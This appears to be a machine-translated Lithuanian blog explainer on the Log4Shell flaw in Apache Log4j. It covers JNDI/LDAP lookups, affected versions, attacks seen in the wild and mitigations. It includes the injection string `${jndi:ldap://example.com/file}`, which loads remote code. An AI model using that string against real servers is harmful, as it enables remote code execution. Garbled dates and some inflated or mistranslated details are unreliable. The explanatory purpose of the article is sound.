Turinys[Slėpti][Rodyti]
2021 m. lapkričio mėn. pabaigoje atskleidėme didelę grėsmę kibernetiniam saugumui. Šis išnaudojimas gali paveikti milijonus kompiuterių sistemų visame pasaulyje.
Tai vadovas apie „Log4j“ pažeidžiamumą ir tai, kaip nepastebėtas dizaino trūkumas paliko daugiau nei 90 % pasaulio kompiuterių paslaugų atakoms.
„Apache Log4j“ yra atvirojo kodo „Java“ pagrindu sukurta registravimo programa, kurią sukūrė „Apache Software Foundation“. Iš pradžių 2001 m. parašė Ceki Gülcü, o dabar yra „Apache Logging Services“, „Apache Software Foundation“ projekto, dalis.
Įmonės visame pasaulyje naudoja Log4j biblioteką, kad galėtų prisijungti prie savo programų. Tiesą sakant, „Java“ biblioteka yra tokia visur, kad ją galite rasti „Amazon“, „Microsoft“, „Google“ ir kt. programose.
Bibliotekos svarba reiškia, kad bet koks galimas kodo trūkumas gali palikti milijonus kompiuterių įsilaužimui. 24 m. lapkričio 2021 d debesis saugumo „Alibaba“ dirbantis tyrėjas atrado siaubingą trūkumą.
Log4j pažeidžiamumas, dar žinomas kaip Log4Shell, nepastebėtas egzistavo nuo 2013 m. Pažeidžiamumas leido kenkėjams paleisti kodą paveiktose sistemose, kuriose veikia Log4j. Tai buvo viešai paskelbta 9 m. gruodžio 2021 d
Pramonės ekspertai vadina „Log4Shell“ trūkumą didžiausias naujausios atminties pažeidžiamumas.
Per savaitę po pažeidžiamumo paskelbimo kibernetinio saugumo komandos aptiko milijonus atakų. Kai kurie tyrinėtojai netgi pastebėjo daugiau nei šimtą išpuolių per minutę.
Kaip tai veikia?
Norėdami suprasti, kodėl Log4Shell yra toks pavojingas, turime suprasti, ką jis gali.
Log4Shell pažeidžiamumas leidžia savavališkai vykdyti kodą, o tai iš esmės reiškia, kad užpuolikas gali paleisti bet kokią komandą ar kodą tiksliniame kompiuteryje.
Kaip tai pavyksta?
Pirmiausia turime suprasti, kas yra JNDI.
„Java“ pavadinimo ir katalogų sąsaja (JNDI) yra „Java“ paslauga, leidžianti „Java“ programoms atrasti ir ieškoti duomenų bei išteklių naudojant pavadinimą. Šios katalogų paslaugos yra svarbios, nes jose pateikiamas organizuotas įrašų rinkinys, kurį kūrėjai gali lengvai naudoti kurdami programas.
JNDI gali naudoti įvairius protokolus, kad pasiektų tam tikrą katalogą. Vienas iš šių protokolų yra lengvojo katalogo prieigos protokolas arba LDAP.
Kai registruojate eilutę, log4j atlieka eilučių pakaitalus, kai susiduria su formos išraiškomis ${prefix:name}
.
Pavyzdžiui, Text: ${java:version}
gali būti įrašytas kaip tekstas: Java versija 1.8.0_65. Tokie pakaitalai yra įprasti.
Taip pat galime turėti tokius posakius kaip Text: ${jndi:ldap://example.com/file}
kuri naudoja JNDI sistemą Java objektui įkelti iš URL per LDAP protokolą.
Tai efektyviai įkelia duomenis iš to URL į įrenginį. Bet kuris potencialus įsilaužėlis gali priglobti kenkėjišką kodą viešame URL ir laukti, kol kompiuteriai, naudojantys Log4j, jį užregistruos.
Kadangi žurnalo pranešimų turinyje yra vartotojo valdomų duomenų, įsilaužėliai gali įterpti savo JNDI nuorodas, nukreipiančias į jų valdomus LDAP serverius. Šiuose LDAP serveriuose gali būti daug kenkėjiškų Java objektų, kuriuos JNDI gali vykdyti per pažeidžiamumą.
Dar blogiau yra tai, kad nesvarbu, ar programa yra serverio, ar kliento pusės.
Kol registratorius gali nuskaityti užpuoliko kenkėjišką kodą, programa vis tiek yra atvira išnaudojimui.
Ką tai liečia?
Pažeidžiamumas turi įtakos visoms sistemoms ir paslaugoms, kurios naudoja APache Log4j nuo 2.0 iki 2.14.1 imtinai.
Kai kurie saugos ekspertai pataria, kad pažeidžiamumas gali paveikti daugybę programų, naudojančių „Java“.
Trūkumas pirmą kartą buvo aptiktas „Microsoft“ priklausančiame „Minecraft“ vaizdo žaidime. „Microsoft“ paragino savo vartotojus atnaujinti „Java“ leidimo „Minecraft“ programinę įrangą, kad būtų išvengta bet kokios rizikos.
Jen Easterly, Kibernetinio saugumo ir infrastruktūros saugumo agentūros (CISA) direktorė sako, kad pardavėjai turi pagrindinė atsakomybė siekiant užkirsti kelią galutiniams vartotojams, kad piktybiniai veikėjai pasinaudotų šiuo pažeidžiamumu.
„Pardavėjai taip pat turėtų bendrauti su savo klientais, kad galutiniai vartotojai žinotų, jog jų gaminyje yra šis pažeidžiamumas, ir turėtų teikti pirmenybę programinės įrangos naujinimams.
Pranešama, kad atakos jau prasidėjo. „Symantec“, įmonė, teikianti kibernetinio saugumo programinę įrangą, pastebėjo įvairų atakų užklausų skaičių.
Štai keletas išpuolių, kuriuos aptiko mokslininkai, pavyzdžių:
- zombiai
Botnetai yra kompiuterių tinklas, kurį valdo viena atakuojanti šalis. Jie padeda vykdyti DDoS atakas, pavogti duomenis ir kitus sukčiavimus. Tyrėjai stebėjo Muhstik botnetą apvalkalo scenarijuose, atsisiųstuose iš Log4j eksploatacijos.
- XMRig Miner Trojos arklys
XMRig yra atvirojo kodo kriptovaliutų kasėjas, kuris naudoja CPU Monero žetonui išgauti. Kibernetiniai nusikaltėliai gali įdiegti XMRig žmonių įrenginiuose, kad jie galėtų naudoti apdorojimo galią be jų žinios.
- Khonsari Ransomware
Ransomware reiškia kenkėjiškų programų formą, skirtą šifruoti failus kompiuteryje. Tada užpuolikai gali reikalauti sumokėti už tai, kad sugrąžintų prieigą prie užšifruotų failų. Tyrėjai atrado „Khonsari“ išpirkos reikalaujančią programinę įrangą per „Log4Shell“ atakas. Jie skirti Windows serveriams ir naudoja .NET sistemą.
Kas bus toliau?
Ekspertai prognozuoja, kad gali prireikti mėnesių, o gal net metų, kol bus visiškai pašalintas „Log4J“ pažeidžiamumo sukeltas chaosas.
Šis procesas apima kiekvienos paveiktos sistemos atnaujinimą pataisyta versija. Net jei visos šios sistemos yra pataisytos, vis tiek kyla grėsmė galimų užpakalinių durų, kurias įsilaužėliai jau galėjo įtraukti į langą, kad serveriai buvo atviri atakai.
Daug sprendimus ir švelninimo priemones egzistuoja, kad šios klaidos nepanaudotų programų. Naujoji Log4j versija 2.15.0-rc1 pakeitė įvairius nustatymus, kad sumažintų šį pažeidžiamumą.
Pagal numatytuosius nustatymus visos JNDI naudojamos funkcijos bus išjungtos, o nuotolinės paieškos taip pat apribotos. „Log4j“ sąrankos paieškos funkcijos išjungimas padės sumažinti galimų išnaudojimų riziką.
Už Log4j ribų vis dar reikia platesnio plano, kad būtų išvengta atvirojo kodo išnaudojimų.
Anksčiau gegužę Baltieji rūmai paskelbė vykdomoji tvarka kurios tikslas buvo pagerinti nacionalinį kibernetinį saugumą. Į jį buvo įtraukta nuostata dėl programinės įrangos medžiagų sąskaitų (SBOM), kuri iš esmės buvo oficialus dokumentas, kuriame buvo visų elementų, reikalingų programai sukurti, sąrašas.
Tai apima tokias dalis kaip atviro kodo plėtrai naudojami paketai, priklausomybės ir API. Nors SBOM idėja yra naudinga siekiant skaidrumo, ar ji tikrai padės vartotojui?
Priklausomybių atnaujinimas gali būti per didelis vargo. Įmonės gali tiesiog pasirinkti mokėti bet kokias baudas, o ne rizikuoti gaišti papildomo laiko ieškodamos alternatyvių paketų. Galbūt šie SBOM bus naudingi tik tuo atveju, jei jų sritis yra toliau ribojamas.
Išvada
Log4j problema yra daugiau nei tik techninė organizacijų problema.
Verslo vadovai turi žinoti apie galimą riziką, kuri gali kilti, kai jų serveriai, produktai ar paslaugos remiasi kodu, kurio jie patys neprižiūri.
Pasitikėjimas atvirojo kodo ir trečiųjų šalių programomis visada yra susijęs su tam tikra rizika. Įmonės turėtų apsvarstyti galimybę parengti rizikos mažinimo strategijas, kol pasirodys naujos grėsmės.
Didžioji žiniatinklio dalis priklauso nuo atvirojo kodo programinės įrangos, kurią prižiūri tūkstančiai savanorių visame pasaulyje.
Jei norime, kad žiniatinklis būtų saugi vieta, vyriausybės ir korporacijos turėtų investuoti į atvirojo kodo pastangų finansavimą ir kibernetinio saugumo agentūras, pvz. KISA.
Palikti atsakymą